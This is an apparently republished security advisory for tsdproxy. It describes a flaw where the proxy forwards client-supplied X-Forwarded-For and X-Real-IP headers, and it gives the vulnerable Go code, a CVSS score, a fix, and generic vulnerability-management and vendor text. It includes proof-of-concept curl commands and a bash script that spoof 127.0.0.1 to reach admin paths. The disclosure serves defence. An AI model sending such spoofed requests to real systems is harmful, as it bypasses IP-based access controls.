The HTTP reverse proxy handler in tsdproxy does not strip the X-Forwarded-For (or X-Real-IP) header from incoming requests before calling r.SetXForwarded(). This allows an authenticated Tailscale user to inject arbitrary X-Forwarded-For values that are forwarded verbatim to backend services.
// internal/proxymanager/port.go -- Rewrite function
Rewrite: func(r *httputil.ProxyRequest) {
r.SetURL(pconfig.GetFirstTarget())
r.Out.Host = r.In.Host
// Strips tsdproxy identity headers (correct)
r.Out.Header.Del(consts.HeaderID)
r.Out.Header.Del(consts.HeaderRemoteUser)
r.Out.Header.Del(consts.HeaderXForwardedUser)
// ... other identity headers deleted ...
// X-Forwarded-For is NOT deleted before SetXForwarded!
// X-Real-IP is NOT deleted at all!
r.SetXForwarded() // APPENDS client IP to attacker-controlled XFF list
},
Per Go's httputil.ProxyRequest.SetXForwarded() documentation: > If the inbound request has an existing X-Forwarded-For header, SetXForwarded appends the inbound request's remote address to the list.
Result when attacker sends X-Forwarded-For: 127.0.0.1:
X-Real-IP is not handled at all -- if the attacker sets X-Real-IP: 127.0.0.1, it is forwarded to the backend verbatim without any overriding or stripping.
Many backend applications trust the first element of X-Forwarded-For (or X-Real-IP) for:
This is particularly impactful in tsdproxy's intended use case where the backend service is only accessible through tsdproxy -- making the proxy's header handling the sole enforcement point.
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N = 7.7
High
internal/proxymanager/port.go -- newPortProxy Rewrite closurecurl -H "X-Forwarded-For: 127.0.0.1" \
https://<proxy-hostname>.ts.net/admin
For the X-Real-IP vector:
curl -H "X-Real-IP: 127.0.0.1" \
https://<proxy-hostname>.ts.net/admin
# Backend receives X-Real-IP: 127.0.0.1 verbatim
#!/bin/bash
# Demonstrate XFF injection through tsdproxy
PROXY_HOST="${1}" # e.g. myapp.my-tailnet.ts.net
curl -v \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1" \
"https://${PROXY_HOST}/"
# Expected: backend sees XFF: 127.0.0.1, <tailscale-ip>
# backend sees X-Real-IP: 127.0.0.1 (unmodified)
An authenticated Tailscale user who should only have regular user access can:
This is especially impactful because tsdproxy is designed as the sole access point for backend services that are otherwise network-isolated -- making the proxy the only enforcement boundary.
Fix: Add r.Out.Header.Del("X-Forwarded-For") and r.Out.Header.Del("X-Real-IP") in the Rewrite closure before calling r.SetXForwarded(). This ensures only the real Tailscale client IP appears in the XFF chain.
Reported by Vishal Shukla (@shukla304) using sechub.dev AI Agent
If this disclosure work has been useful, sponsoring helps fund continued open-source security audits -- appreciated either way.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.